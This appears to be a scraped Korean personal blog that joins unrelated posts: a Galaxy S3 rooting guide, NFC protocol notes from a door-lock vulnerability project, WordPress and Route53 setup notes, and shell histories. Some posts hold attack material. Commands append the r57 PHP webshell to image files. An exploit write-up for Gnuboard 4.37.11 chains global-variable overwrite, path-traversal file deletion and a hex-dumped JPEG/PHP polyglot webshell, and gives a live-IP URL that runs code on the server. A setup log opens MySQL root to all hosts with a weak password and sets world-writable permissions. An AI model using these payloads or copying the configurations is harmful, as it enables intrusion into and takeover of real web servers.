W:\Desktop\sub>copy /B image.jpeg + r57shell135.php good.jpeg

image.jpeg

r57shell135.php

        1개 파일이 복사되었습니다.


W:\Desktop\sub>copy /B 3.gif + r57shell135.php 4.gif

3.gif

r57shell135.php

        1개 파일이 복사되었습니다.


W:\Desktop\sub>

Posted by wakira
,

작성된 글의 저작권은 작성자에게 있습니다.

무단으로 퍼가는 것을 허락하지 않습니다.

 

================================================================

* 주의 본 루팅 펌웨어는 갤럭시 S3 LTE 모델의 킷켓 4.4.4 SKT, KT, LGT NI3의 루팅 펌입니다.

* 갤럭시 S3 3G 모델은 지원하지 않습니다.

* 사용중 문제 발생시 책임은 본인에게 있습니다.

* 올려진 파일은 V3ZIP으로 분할 압축 되어 있습니다.

* 녹스 워런티가 깨집니다. (A/S 불이익이 발생할 수 있습니다.)

* 바이너리도 증가합니다. (A/S 불이익이 발생할 수 있습니다.)

================================================================

 

************************************************

SKT용 루팅 펌

 SK용.zip.001

 SK용.zip.002

************************************************

KT용 루팅 펌

 kt용.zip.001

 kt용.zip.002

************************************************

LGT용 루팅 펌

 LG용.zip.001

 LG용.zip.002

 

************************************************

오딘 3.07

  Odin3-v3.07.zip

************************************************

삼성 통합 USB 드라이버

 삼성 통합 USB 드라이버.zip.001

 삼성 통합 USB 드라이버.zip.002

************************************************

 루킹 펌웨어를 다운로드 받은뒤 압축을 풀면 아래와 같이 파일이 있습니다.

뒷자리 설명

K : KT   /   L : LGT   /   S : SKT

 

1. 삼성 통합 USB 드라이버를 설치 합니다.

   -> 드라이버 설치 시 핸드폰과 컴퓨터는 연결하지 않습니다.

   -> 드라이버 설치 후 핸드폰과 컴퓨터를 연결하여 드라이버 설치를 마칩니다.

   -> 핸드폰과 컴퓨터의 연결을 해제 합니다.

 

2. 자신의 폰이 갤럭시 S3 키켓 4.4.4 버전인지 확인합니다.

   -> 환경설정 => 더보기(상단) => 디바이스 정보 (하단 목록) => 안드로이드 버전

   -> 위와 같은 화면에 빌드 번호를 5회이상 터치 합니다. (개발자 모드 확인)

 

3. 핸드폰 다운로드 모드로 진입합니다.

   -> 핸드폰 종료 후 볼륨 하 버튼 + 전원 버튼 + 홈 버튼을 동시에 누릅니다.

   -> 경고 창이 뜨면서 볼륨상 키 : 계속 진행을 눌러줍니다.

   -> ODIN MOD가 뜨면서 "다운로드중... 전원을 끄지 마세요"가 뜹니다.

 

4.  핸드폰과 컴퓨터를 연결하고 오딘을 실행시킵니다.

   -> 

 

   -> 1번 : 컴퓨터와 핸드폰이 정상연결이 되었는지를 알려줍니다.

       => 연결안됨 : 회색    / 연결됨 : 하늘색   (COM뒤의 숫자는 의미없습니다.)

       => 만약 연결이 안된다면 USB케이블을 컴퓨터 뒷면의 USB포트에 연결해 주세요.

   -> 2번 : PDA를 눌러 다운로드 받은 파일을 선택합니다.

      => 오딘 버전에 따라 PDA 또는 AP로 나타납니다.

      => 자신의 핸드폰과 맞는 루팅 펌웨어를 선택합니다. (벽돌 주의)

   -> 3번 : START를 눌러 시작합니다.

   -> 오딘 화면의 massge창에 진행상황이 표현됩니다.

   -> 1번 창 위에 "PASS"라도 뜨면 정상 설치 완료된 것입니다.

 

5. 핸드폰을 재부팅하여 어플리케이션 목록에 SUPERSU가 설치 되어 있다면 루팅 성공입니다.



출처: http://promis.tistory.com/87 [작은 세상 보기]

Posted by wakira
,

assem

Intel assem 2017. 4. 3. 20:50

어셈

assem.pdf



Posted by wakira
,

출처: http://baator9.tistory.com/category/Embedded/Network


디지털 도어락 취약점을 분석하는 프로젝트를 진행하면서

NFC 통신에 대해서 공부한 내용을 정리해본다.


꽤 많은 스펙과 정리 문서를 들여다본 끝에 표준에 대한 정리는 거의 끝난 듯 하다.

앞으로는 실제 타겟으로 삼았던 카드와 장비에 대한 분석 진행 상황에 따라 글이 수정될 예정이다.






1. NFC 개념과 표준 및 히스토리


NFC(Near Field Communication) 는 이름 자체로만 본다면 '근접 통신'을 의미한다.

기반이 되는 통신 기술은 RFID (Radio Frequency Identification) 이다.


일반적으로 13.56MHz 를 쓰는 비접촉식 통신 방식이며, 

태그(카드)와 리더기의 통신 또는 기기간의 통신을 포함하고 있다.


ISO 에서 지정한 여러 통신 표준 중에서 RFID 를 기반에 둔 여러 표준들이 존재하며,

그 중 ISO 14443 이 일상에서 쉽게 볼 수 있는 NFC 카드에서 사용하는 표준이다.


2004년에는 ISO 14443 타입 A 와 14443 타입 C 에 추가되지 못했던 Felica 라는 기술을 포함해서

ISO 18092 표준을 제정했는데, 이것이 NFC 라는 기술의 공식적인 첫 표준이다. (NFC IP-1 이라 부른다)

(추가로 기존에 ISO 14443 에는 없던 기기간 통신 기술 내용이 추가되었다)


2005년에는 ISO 14443 타입 B 와 ISO 15693 그리고 ISO 18092(NFC IP-1) 를 포괄하는

ISO 21481 표준을 제정했으며, 이는 NFC IP-2 라고 부른다.

이를 통해 13.56MHz 를 쓰는 비접촉식 통신 기술을 모두 NFC 범주에 포함시키게 되었다.


이를 대략적으로 표현하면 아래와 같다.

[출처 : 금융결제연구소 - '비접촉 통신기술 기반의 모바일 근거리 결제서비스 동향 및 시사점']


(ISO 14443 은 근접형(Proximity) 통신으로 10cm 근방의 범위를 갖고,

 ISO 15693 은 주변형(Vicinity) 통신으로 1m 범위를 갖는다)


이와는 조금 별개로 NFC 포럼1에서도 별도의 표준을 발표하고 있다.

단, NFC 포럼에서 발표하는 표준은 통신 기술에 대한 것이 아니고

NFC 통신의 적용을 위한 장치간의 역할과 기능, 계층을 정리한 것이다.


때문에 NFC 포럼도 ISO 표준을 따르고 있으며, 

실제 산업에 적용하기 위해 좀 더 체계화된 규칙을 제정한 것이다.

(다만 몇몇 명칭에선 ISO 표준과 다른 이름을 쓰고 있다)

그러나 NFC 포럼의 표준은 NFC IP-1 (ISO 18092) 와 ISO 14443 타입 B 에 대해서만 한정하는 것으로 보인다.




2. ISO 표준


NFC 표준의 기초가 된 ISO 14443 에서는 

하드웨어 구성부터 실제 통신 단계를 Part 로 나누고 각각의 표준의 세부내역을 명시했다.


Part 1 은 물리적 특성으로, 카드의 크기나 자기장에 대한 내용을 다룬다.

Part 2 는 무선 주파수 와 신호접속으로, 주파수 범위와 변조(modulation), 부호화(bit coding)를 명시했다.

Part 3 는 초기화 및 충돌방지로, 통신 요청, 충돌 방지 및 카드 선택 등 통신 초기 설정에 대한 내용이다.

Part 4 는 전송 프로토콜로 카드와 리더 사이의 데이터 교환에 대한 사항을 명시했다.

(ISO 에서 명시한 Part 를 아래에 나올 NFC 포럼의 Type 과 헷갈리지 말아야 한다)


이러한 Part 구분과는 별개로 데이터 변조 및 부호화와 충돌방지 구현 방식에 따라 타입을 나누었다.

Type A 와 Type B (이후엔 Type F 도 포함됨) 가 있으며 각자 별개의 프로토콜을 사용한다.

이후에 등장하는 A,B 표현은 모두 이러한 타입 분류를 의미한다.

(NFC IP-1 에는 14443 A 타입만 포함되며, 후에 NFC IP-2 에서야 14443 B 타입이 추가됐다.)


사실 ISO 14443 A 표준은 Mifare 라는 실제 제품의 적용 기술들을 답습했다고 한다.

Mifare 는 NXP 社에서 개발한 것으로, 국제 표준은 아니지만 사실상 표준으로 인정 받아왔다.

때문에 ISO 14443 표준을 제정할 때도 이를 호환할 수 있는 프로토콜을 제정했다고 한다.

(Mifare 제품에 따라 ISO 14443 에서 정의한 Part 를 모두 준수하기도, 일부만 준수하기도 한다)




3. NFC 포럼 표준


앞서 말했듯, NFC 포럼은 NFC 제품을 생산하고 적용하는 회사들의 컨소시엄이므로

NFC 기술의 적용과 사용에 대한 체계적인 협의가 필요했고 이를 표준으로 제정했다.


아래 그림은 NFC 포럼에서 정의한 NFC 통신의 아키텍쳐를 표현한 것이다.


[출처 : nfc-forum.org]

그림과 같이 NFC는 3가지 모드 P2P Mode, R/W Mode, Card Emulation Mode 가 가능하다.

3가지 모드가 상호 배제되는 특성을 가진 것은 아니고, 

역할(카드 또는 리더)을 수행하기 위한 모드에 대한 분류로 볼 수 있다.


P2P 모드는 기기간의 통신을 의미하며, P2P가 지원되는 두 장치가 통신하는 모드이다.

카드 에뮬레이션 모드는 NFC 장비가 설정에 의해 카드 역할을 수행하는 모드를 의미한다. 

(핸드폰에 탑재된 NFC를 교통카드 등으로 쓸 때 이 모드가 사용된다)

R/W 모드는 통상적인 카드 리더기를 의미하며, 카드 에뮬레이션 모드인 장비 또는 NFC 태그(카드)와 통신한다.


좀 더 상세한 내용의 참고 링크를 남겨둔다.

http://nfc-forum.org/our-work/specifications-and-application-documents/specifications/


위의 링크에서 이어지는 'NFC Forum Technical Specifications' 에는

위 그림에서 나타난 각각의 요소들에 해당하는 기술 스펙들을 소개해주고 있다.


그림 가운데 있는 Tag Type 은 NFC 포럼에서 분류한 태그(카드) 플랫폼을 의미하며


Type 1 은 ISO 14443 A 표준을 기반으로 삼으며 Innovation Topaz 제품에서 사용된다.

Type 2 도 ISO 14443 A 표준을 기반으로 삼으며 NXP 의 Mifare 제품에서 사용된다.

Type 3 은 ISO 18092 표준으로 삼는다. (정확히는 Felica 기술인 JIS X 6319-4 를 기반으로 함)

Type 4 은 ISO 14443 A, B 표준을 완전히 만족하며, NXP 의 DESFire, SmartMX-JCOP 제품에서 사용된다.

(앞서도 말했지만 ISO 에서 표준화한 Part 와는 전혀 다르다)



위의 그림과 하단의 표는 비슷한 맥락으로 볼 수 있다.


위 그림에서 아래에 적힌 RF Analog, Digital Protocol, Acitivies 는 

하단 표의 Listen, RF Collision Avoidance (이하 초기 설정) 등과 같은 내용이다.

또한 이는 ISO 14443 의 Part 2 와 3 에 해당한다. 

(Part 2의 변조 기술부터 Part 3의 초기화 및 충돌 방지에 대한 내용)


그림에서 그 위에 위치한 Tag 1-4 Type Operation 은 하단 표의 Device Activation 과 같은 내용이다.

이는 ISO 14443 Part 4 에 해당하는 내용이다.

(Part 4는 카드 선택-Device Acitvation-과 실제 데이터 통신 과정에 대한 내용)


그림 상단에 위치한 NDEF 는 '교환'하는 데이터 타입에 따른 포맷을 의미하고,

그 위의 RTD 는 데이터 '저장' 방식에 대한 포맷을 의미한다.

(text, url 과 같은 데이터 포맷 정의)



아래 표는 NFC SPEC 문서에서 발췌한 테이블로,

왼쪽의 각 Activity 에 해당하는 오른쪽의 표준들이 적용되고 있음을 보여준다.


[ Activity 별 표준 구분 ]


각각의 표준은 같은 열에 있는 다른 표준과 같이 쓰인다.

즉, 초기 설정에서 NFC-B 표준을 사용하는 카드는 

Device Activation 에선 Type 4B 플랫폼을, Data Exchange, Deactivation 에선 ISO-DEP 를 사용한다.


앞서 말했듯, 초기 설정 단계는 ISO 14443 Part 2,3 에 해당하며

데이터 변조 및 리더기에서 카드의 접근을 파악하고 이를 처리하기 위한 프로토콜이다.


Device Activation 은 ISO 14443 Part 4 의 앞 부분이며

앞선 과정에서 리더기가 받은 정보를 토대로 특정 카드를 활성화하고, 

이 카드와 통신할 것임을 알리기 위한 과정이다.


그리고 Data Exchange 와 Device Deactivation 은 실제 데이터 교환과 통신 종료에 대한 프로토콜이다.

Device Activation 과 함께 ISO 14443 Part 4 에 해당하는 내용이다.





4. 종합 및 실전


국내에서 유통되는 NFC 카드들은 많은 수가 NFC-A 표준을 따르며, Mifare Classic 규격을 사용한다고 한다.

Mifare Classic 은 ISO Part 3 까지만 지원하고, 실제 통신은 독자적인 규격을 사용한다.


아래는 각각 NFC-A, NFC-B 타입의 카드를 NFC Tools 라는 앱을 통해 읽은 결과이다.



왼쪽은 NFC-A 타입 카드이며, ISO 14443-3A 타입으로 분류되고 상세한 기술 및 제품 정보가 나온다.

오른쪽은 NFC-B 타입 카드이고, ISO 14443-4 타입에 대한 내용만 나타난다.


여기서 나온 3과 4는 NFC 포럼의 태그 타입이 아닌, 

ISO에서 분류한 Part 를 어디까지 지원하는지에 대한 정보이다.

즉, ISO 14443-3A 는 ISO 14443 의 Part 3 까지 지원하는 A 변조 방식의 카드임을 나타낸다.

(앞서 말했듯 Mifare Classic 은 실제로 이와 같은 특성을 지닌다)


NFC-B 카드에 대한 정보는 많이 읽히지 않았는데, NFC-B 자체가 국내외에서 많이 쓰이지 않는 것으로 보였다.

심지어 표준을 따르는 리더기에서 데이터가 읽히지 않는 현상이 있었지만, 원인은 파악하지 못했다.


또한, NFC-A 타입의 카드들이 4바이트 고정된 UID (위 사진에서 Serial number) 를 쓰는데 반해,

NFC-B 타입 카드는 4바이트 ID 값이 유동적이었다.

wiki 문서를 읽어보니 몇몇 태그의 종류에 따라 random ID 를 지원한다고 한다.


이를 종합해보면, 우리가 타겟으로 삼은 카드는 

ISO 14443 part 4 까지 지원하며 타입에 B 형식 변조를 사용하는 태그로 보인다.

이에 해당하는 제품을 찾아보았는데, NXP 의 SmartMX-JCOP 이라는 태그가 존재한다.


이러한 방식으로 본인이 타겟으로 삼은 카드가 

어느 표준과 규격을 따르고 어느 곳의 제품인지 대략적으로 유추가 가능하다.


(카드 별 사용 표준과 상세 정보가 정리된 링크 : 

 http://open-nfc.org/wp/home/documentation/tags-compatibility/)



다만 위에서 파악한 것은 태그 분류일 뿐, 실제 데이터 교환에 대해선 여전히 해결점을 찾지 못했다.

때문에 타겟 도어락과 카드 사이에서 스니핑 하여 RAW 데이터를 직접 해석하는 방식으로 진행했다.


우선, Listen Activity 에 해당하는 부분으로,

ALLB_REQ and SENSB_REQ (또는 REQB) 라는 이름의 데이터를 리더기가 카드에게 전송한다. 

(각 전송마다 2바이트 CRC가 제일 끝부분에 포함되어 있으며, 이에 대한 내용은 생략한다.)

3바이트 데이터이며, 실제 읽은 데이터의 HEX 값은 [ 05 00 00 71 ff ] 이다.


카드는 이에 대한 응답으로 ATQB 라는 12바이트 데이터를 전송한다.

실제 HEX 값 [ 50 d6 4e 0f 3e 40 00 00 00 00 71 e1 fa ba ]



리더기가 카드의 응답을 토대로 카드를 선택 및 활성화 데이터를 전송한다.

이는 ATTRIB 라고 불리며 9바이트 데이터로 구성된다.

실제 HEX 값 [ 1d 45 6a bb e6 00 08 01 00 d0 dc ]


카드는 이에 대한 응답으로 1바이트 데이터를 전송한다.

실제 HEX 값 [ 40 7C B2 ]



위의 과정을 통해 Listen 과 Activation 이 완료됐으므로

실제 데이터 교환에 대한 프로토콜이 나와야 되나,

스니핑한 데이터가 프로토콜 스펙과 일치하지 않아 분석이 진행되지 않고 있다.


이에 대한 내용은 추후에 진행 상황에 따라 추가하기로 한다.

'자료실' 카테고리의 다른 글

  (0) 2017.05.10
일기  (0) 2017.04.30
졸업요건  (0) 2017.03.29
핸드폰 모델  (0) 2017.02.14
Windows7 USER-PE(20120815) PE 만드는법  (0) 2017.02.11
Posted by wakira
,

    1  ls

    2  pwd

    3  sudo apt-get install php5-gd

    4  sudo a2enmod rewrite

    5  sudo apt-get install apache2

    6  sudo apt-get install php5

    7  sudo apt-get install mysql-server

    8  sudo apt-get install php5-mysql

    9  mysql -u root

   10  mysql -u root -P

   11  mysql -uroot -p

   12  sudo vi /etc/apache2/sites-available/default-ssl.conf

   13  sudo vi /etc/apache2/sites-available/000-default.conf 

   14  cd /var/www/

   15  ls

   16  wget http://wordpress.org/latest.tar.gz

   17  ls

   18  sudo wget http://wordpress.org/latest.tar.gz

   19  ls

   20  ls -al

   21  sudo tar -xvzf latest.tar.gz 

   22  ls

   23  cd html/

   24  ls

   25  ifconfig

   26  sudo chown www-data:www-data * -R 

   27  ls

   28  cd ..

   29  sudo chown www-data:www-data * -R

   30  ls

   31  ls -al

   32  sudo usermod -a -G www-data user

   33  ls

   34  ls -al

   35  sudo chmod -R 775 /var/www/

   36  ls

   37  ls -al

   38  sudo /etc/init.d/apache2 restart

   39  ls

   40  cd html/

   41  ls

   42  mv ../wordpress/ .

   43  sudo mv ../wordpress/ .

   44  ls

   45  ls -al

   46  cat index.html 

   47  sudo apt-get install php

   48  sudo apt-get install php7.0-gd

   49  apt-get update

   50  sudo apt-get update

   51  sudo apt-get install php7.0-gd

   52  sudo a2enmod rewrite

   53  service apache2 restart

   54  ls

   55  sudo chmod -R 775 /var/www/

   56  sudo chown -R www-data:$USER

   57  sudo chown -R www-data:$USER .

   58  ls

   59  ls -al

   60  apt-get install php libapache2-mod-php

   61  sudo apt-get install php libapache2-mod-php

   62  sudo apt-get install php-xml

   63  sudo apt-get install php-gd

   64  sudo apt-get install php-mysql

   65  ls

   66  sudo apt-get install  php5-mysqlnd-ms

   67  sudo service apache2 reload

   68  ls

   69  cd wordpress/

   70  ls

   71  cat wp-config-sample.php 

   72  cat wp-config-sample.php  | more

   73  #

   74  ls

   75  cd ..

   76  ls

   77  history > 1.txt


    8  sudo apt-get install apache2

    9  sudo apt-get install php

   10  sudo apt-get install mysql-server

   create database wp;

   11  sudo apt-get install php7.0-mysql 

   12  sudo a2enmod rewrite

   13  sudo /etc/init.d/apache2 restart

   14  service apache2 restart

   15  sudo apt-get install libapache2-mod-php

   16  sudo service apache2 reload

   17  cd /var/www/

   18  ls

   19  cd html/

   20  ls

   21  sudo wget http://wordpress.org/latest.tar.gz

   22  sudo tar -xvzf latest.tar.gz

   23  ls

   24  ls -al

   25  sudo chown -R www-data:$USER *

   26  ls -al

   27  mysql -uroot -p

   28  ls


--------------------------------------------------------------------------------------

    1  sudo apt-get update

    2  sudo apt-get install apache2

    3  sudo apt-get install php

    4  sudo apt-get install mysql-server

    5  mysql -uroot -p

create database aa;

quit  

    6  sudo apt-get install php7.0-mysql 

    7  sudo apt-get install libapache2-mod-php

    8  sudo a2enmod rewrite

    9  cd /var/www/html

   10  sudo wget http://wordpress.org/latest.tar.gz

   11  sudo tar -xvzf latest.tar.gz

   12  sudo vi /etc/apache2/sites-available/000-default.conf

DocumentRoot /var/www/html/wordpress

   13  sudo service apache2 restart

   14  sudo service apache2 reload

   15  sudo chown www-data:$USER /var

   16  sudo chown www-data:$USER /var/www/

   17  sudo chown www-data:$USER /var/www/html/

   18  sudo chown -R www-data:$USER /var/www/html/wordpress/

   19  sudo chmod 777 /var

   20  sudo chmod 777 /var/www/

   21  sudo chmod 777 /var/www/html/

   22  sudo chmod 777 /var/www/html/wordpress/

   23  sudo chmod -R 777 /var/www/html/wordpress/wp-content/

INSERT INTO mysql.user (host, user, authentication_string, ssl_cipher, x509_issuer, x509_subject) VALUES ('%', 'root', password('mysql'), '', '', '');

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%';

FLUSH PRIVILEGES;


sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf

bind-address            = 127.0.0.1 을

bind-address            = 0.0.0.0 으로


sudo service mysql restart

sudo ufw allow 3306/tcp

sudo service ufw restart

netstat -ntlp




sudo apt-get install php7.0-zip

sudo apt-get install php-xml

sudo apt-get install php7.0-xml php7.0-xmlrpc



sudo vi /etc/php/7.0/apache2/php.ini 

extension=zip.so

extension=dom.so

upload_max_filesize = 500M

max_execution_time = 180

max_input_vars = 1500



sudo service apache2 restart

' > php' 카테고리의 다른 글

centos 6.5 / 그누보드4.34.15 (11.10.24) / phpMyAdmin  (0) 2017.03.18
페이지 이동  (0) 2014.05.29
Posted by wakira
,

졸업요건

자료실 2017. 3. 29. 22:21



'자료실' 카테고리의 다른 글

일기  (0) 2017.04.30
NFC 표준, 프로토콜  (0) 2017.04.02
핸드폰 모델  (0) 2017.02.14
Windows7 USER-PE(20120815) PE 만드는법  (0) 2017.02.11
birthday party  (0) 2016.10.26
Posted by wakira
,

aws 도메인 연결 Route53

2017. 3. 28. 23:00

http://wingsnote.com/57


지난 회에서는 AWS의 Elastic IP(이하 EIP)를 통해 고정 IP 주소를 획득하는 방법을 알아 보았습니다.


그러나 실제로 숫자로 이루어진 IP 주소로 접속하는 사람은 거의 없을 것입니다.


대부분은 사람이 기억하기 쉽고, 또한 IP 주소가 바뀌더라도 매핑만 바꾸어 주어 접속할 수 있도록 도메인 이름을 사용할 것입니다.


이번 포스팅에서는 EC2 인스턴스에 본인 소유의 도메인을 연결해 봅니다.


미리 여기에 사용할 자신의 도메인은 가지고 있어야 한다는 점을 미리 알려 드립니다.




[8] EC2 인스턴스에 도메인 연결 (Route53)



AWS에서 도메인을 연결하기 위해 사용하는 도메인 설정 서비스는 Route 53 이라고 부릅니다. Route 53은 일반적인 도메인 설정에 더해서 편리한 기능들을 제공합니다.


일반적으로 웹서비스를 받을때 도메인 설정은 무료로 제공되지만, Route 53의 경우는 저렴하지만 유료 서비스라는 점을 기억해야 합니다. (조건에 따라 면제되기도 하는 것 같습니다.)


하지만, 여러가지 이유로 도메인 설정 서비스는 본인 서버를 제공하는 곳의 서비스를 받는게 유리합니다. 더군다나 AWS의 장점중 하나인 로드 밸런싱 서비스를 받기 위해서는 Route 53을 이용할 수 밖에 없는것 같습니다.


그럼 시작해 보겠습니다.


먼저 AWS 관리자 콘솔로 접속합니다.


'Route 53' 을 클릭합니다.

[Create Hosted Zone] 을 클릭합니다.

우측 호스트 존을 생성하는 부분에서 Domain Name에 본인 소유의 도메인(예를들어 example.com과 같은 형태)을 입력하고 [Create]를 클릭합니다.


Route 53이 도메인 이름을 근거로 호스트 존을 생성합니다.


호스트 존을 선택하고, [Go to Record Sets] 을 클릭합니다.

레코드 중에 NS 레코드가 보입니다. Value에 네임서버 리스트가 나와 있습니다. 클릭하면 우측에 Edit Recoed Set 영역에도 Value: 항목에 네임서버 리스트가 나타납니다.


이제 본인의 도메인을 등록한 서비스에 접속하여 네임서버를 위에 나열된 네임서버로 바꾸어 줍니다.


아래는 예를 들어 제가 사용하는 도메인 서비스 업체의 도메인 관리에서 네임서버를 바꾸는 과정을 예시로 보여줍니다. (따라서 본인이 사용하는 도메인 서비스 업체에 따라 다르게 나타납니다. 본인이 도메인 등록한 웹사이트에서 적절히 적용해 봅시다.)

<출처 : http://hosting.kr>

<출처 : http://hosting.kr>

<출처 : http://hosting.kr>

위와 같이 네임서버를 변경하였습니다.


다시 AWS의 Route 53 서비스로 돌아가서 A레코드를 설정하겠습니다.


다시 Route 53 입니다. 해당 호스트 존에서 Recoed를 추가 하겠습니다. [Create Record Set] 버튼을 클릭하고, 오른쪽 Create Record Set 영역을 채웁니다.

  • Name : 서브 도메인 네임을 입력합니다. 이번 예제에서는 루트 도메인을 사용하기 위해 비워 두겠습니다. 비우면 example.com 과 같은 형태로 접속하게 됩니다.
  • Type : A레코드를 생성하기 위해 'A - IPv5 address' 를 선택합니다.
  • Alias : 'No' 를 선택합니다.
  • TTL : 도메인 이름 캐싱 시간을 정합니다. 그대로 둡니다.
  • Value : 여기에 Elastic IP (고정IP)을 입력합니다.

[Create]를 클릭합니다.

A레코드가 추가 되었습니다. A레코드를 간단히 설명하면 도메인 이름을 IP 주소로 연결해 주는 것이라고 보면 이해가 쉽습니다.


이제 실제 웹브라우저에서 IP주소가 아닌 연결한 도메인 이름으로 접속해 봅니다. (주의 : 위 설정대로라면, 도메인이 example.com 이라면, example.com 으로 입력해야 합니다. www.example.com 과 같이 도메인 이름 앞에 서브도메인 이름을 입력하면, 아직 도메인 설정을 하지 않아서 접속이 되지 않습니다.)

드디어 도메인으로 연결이 되었습니다. 참고로, 도메인 설정(위에서는 A 레코드 설정)한 것이 반영되는데는 시간이 걸립니다. 바로는 적용이 안되기 때문에 바로 접속되지는 않을 겁니다.


제 경우 짧게는 10여분에서 길게는 20분 이상 걸리더군요.


이제는 서브 도메인을 설정해 보겠습니다.


위 예에서는 도메인이 example.com 이라면, example.com으로만 접속이 되고 www가 앞에 붙으면 접속이 되지 않습니다.


이번에는 www를 앞에 붙였을때 접속이 되도록 하겠는데, NGINX를 통해 example.com과는 다른 웹페이지를 보여지도록 해 보겠습니다. (아파치 웹서버의 가상호스트 기능과 같다고 보면 됩니다.)


먼저, Route 53화면에서 계속해서 레코드를 추가해 봅니다.


이번에는 CNAME 레코드를 추가해 보겠습니다. (A레코드를 입력해도 됩니다만 이번에는 CNAME을 사용하는 방법을 살펴봅니다.)


역시 이번에도 [Create Recoed Sets]를 클릭합니다.


  • Name : 이번에는 서브도메인명으로 'www'를 입력합니다.
  • Type : 'CNAME - Canonical name'을 선택합니다.
  • Value : 이번에는 IP가 아니라 A레코드에 사용한 루트 도메인 이름을 입력합니다. (예: example.com)
[Create]를 클릭합니다.

CNAME은 쉽게 이해하자면 도메인이름을 도메인이름으로 연결하는 것이라고 생각하면 되겠습니다. 예를 들어 www.example.com 을 example.com 으로 연결해주는것이죠.

이제 도메인 설정은 되었고, 실제 서버에서 작업을 해줘야겠죠?

먼저, '/var/www/www' 디렉터리를 만듭니다.

cd /
cd var
/var$ sudo mkdir www
/var$ cd www
/var/www$ sudo mkdir www
/var/www$ cd www
/var/www/www$

'/var/www/www' 디렉터리에 index.html 파일을 만듭니다. 내용은 아래와 같이 간단히 입력합니다.

준비 되었으면, 이제 NGINX를 설정합니다.


먼저 만일을 대비해 '/etc/nginx/'디렉터리의 nginx.conf 파일을 원본을 복사하여 사본을 만들어 둡니다.


 /etc/nginx$ sudo cp nginx.conf nginx.conf.ori


아파치 웹서버와 비슷한 방식으로 관리하기 위해 '/etc/nginx/' 하위 디렉터리로 'sites-enabled'디렉터리와 'sites-available' 디렉터리를 만듭니다.


 /etc/nginx$ sudo mkdir sites-enabled

 /etc/nginx$ sudo mkdir sites-available


이제 'nginx.conf' 파일을 열어 아래의 내용을 http 블럭 맨 아래 추가합니다.


include /etc/nginx/sites-enabled/*.conf;

이렇게 하면 조금 전에 만든 'sites-enabled' 디렉터리의 모든 .conf 파일들을 NGINX가 시작될 때 읽어들여 설정에 반영하게 됩니다.


이제 조금 전에 만든 'sites-available' 디렉터리에 'www' 서브 도메인을 연결할 서버 설정 파일을 만듭니다.


여기서는 example.conf 라는 파일로 만들었다고 가정합니다.


server {


    listen       80;

    server_name  www.example.com;


    #charset utf-8;


    #access_log  /var/log/nginx/log/www.example.access.log;


    location / {

        root   /var/www/www;

        index  index.html index.htm;

    }



    # redirect server error pages to the static page /50x.html

    #

    error_page   500 502 503 504  /50x.html;

    location = /50x.html {

        root   /usr/share/nginx/html;

    }

}

새로 만든 'example.conf' 파일을 'sites-enabled' 디렉터리에 심볼릭 링크를 만들어줍니다.


$ cd /etc/nginx/sites-enabled

/etc/nginx/sites-enabled$ sudo ln -s /etc/nginx/sites-avaliable/example.conf example.conf

이제 위 화면과 같이 NGINX의 설정을 재로딩 합니다.


$ sudo service nginx reload


이제 서브도메인을 포함한 도메인으로 웹브라우저로 접속해 봅니다.


예를 들어 'example.com'이 도메인이면, 주소창에 'www.example.com' 을 입력합니다.

새로 분기한 '/var/www/www/index.html' 파일이 잘 나오는걸 확인할 수 있습니다.


이번 포스팅은 여기까지 입니다.


다음 포스팅에서는 많이들 사용하는 node.js 앞에 NGINX가 프록시 역할을 하도록 설정해 보도록 하겠습니다.



출처: http://wingsnote.com/57 [날개의 노트 (Wing's Note)]

'' 카테고리의 다른 글

크롬 POST 만들어 보내기  (0) 2020.04.30
Posted by wakira
,

취약한 버전: 그누보드 4.37.11

해당 되는 파일: gnuboard4/cheditor5/imageUpload/upload.php

사용한 기술: 전역 변수 Overwrite, 웹쉘 업로드, 파일 삭제 취약점, 몇가지 Trick

종류: 원격 코드 실행

난이도: 중


파일 경로 : /gnuboard4/gnuboard4/cheditor5/imageUpload/upload.php

(1) common.php 의 @extract($_POST); 때문에 공격자는 자유롭게 $_FILES, $_SERVER 등의 글로벌 변수를 POST 요청을 통해 오버라이트 할 수 있습니다.
이미지의 크기가 지정되지 않았을 경우 파일을 삭제하는 루틴을 이용해서 업로드 디렉터리의 php 실행을 제한하는 분산 설정 파일을 삭제합니다. prefix 가 붙지만, PHP 일부 버전에서 상대 경로가 최적화 되는 트릭으로 이를 우회할 수 있었습니다.
send("_FILES[file][name]=bsaf/../../../foo.txt")

 

(2) magic_quotes_gpc 지정자는 임시파일 내용으로 포함된 쿼트에 대해 영향을 미치지 않기 때문에 "" 을 자유롭게 사용할 수 있습니다.
또한 getimagesize 변수는 단순히 이미지 파일의 특정 헤더값을 기반으로 크기를 판단하기 때문에 정상적인 이미지 형식이 아니더라도 통과가 가능합니다.

 

한편, 웹쉘 업로드시 코드 if (!preg_match("/.(gif|jpe?g|png)$/i", $savefile)) 에서 조건문은
gif, jpeg, png 등으로 끝나는 코드 만을 제한 합니다.
하지만 apache 웹서버는 도중에 php 가 들어가고 jpeg,png 처럼 알려진 확장자가 아닌 파일을 php 로 인식합니다.
test.php.fakepng 과 같은 파일은 php 로 파싱되어 우회가 가능합니다.


두가지 사실을 이용해서 해당 파일에 아래의 덤프를 내용으로 가지는 파일을 업로드 합니다.

 

웹쉘
[Hex]
FF D8 FF E0 00 10 4A 46 49 46 00 01 00 00 00 00 00 00 00 00 FF C0 00 41 3C 3F 70 68 70 20 70 72 65 67 5F 72 65 70 6C 61 63 65 28 22 2F 2F 65 22 2C 24 5F 47 45 54 5B 66 6F 6F 5D 2C 22 22 29 3B 3F 3E

[Dump]
yØya..JFIF..........yA.A<?php preg_replace("//e",$_GET[foo],"");?>

 

(3) 과정 (1) 에 의해 업로드 디렉토리에 대한 접근 제한은 해제 되었습니다. 

IE 는 파일의 내용이 이미지의 헤더로 시작할 경우 무조건 이미지로 판단을 하기 때문에 크롬 등에서http://222.106.225.108/gnuboard4/gnuboard4/data/cheditor4/1406/test.php.fakepng?foo=phpinfo()
와 같이 파일이 업로드 된 경로에 접근할 경우 원격 코드를 실행할 수 있습니다.

Posted by wakira
,

    1  ping www.naver.com

    2  ifconfig

    3  vi /etc/sysconfig/network-scripts/

    4  vi /etc/sysconfig/network-scripts/ifcfg-eth0 

    5  reboot

    6  ping www.naver.com

    7  ifconfig

    8  ls

    9  df

   10  wget

   11  wget ?

   12  wget -help

   13  wget --help

   14  yum install wget

   15  wget

   16  ls

   17  pwd

   18  yum -y install httpd

   19  cd /var/www/

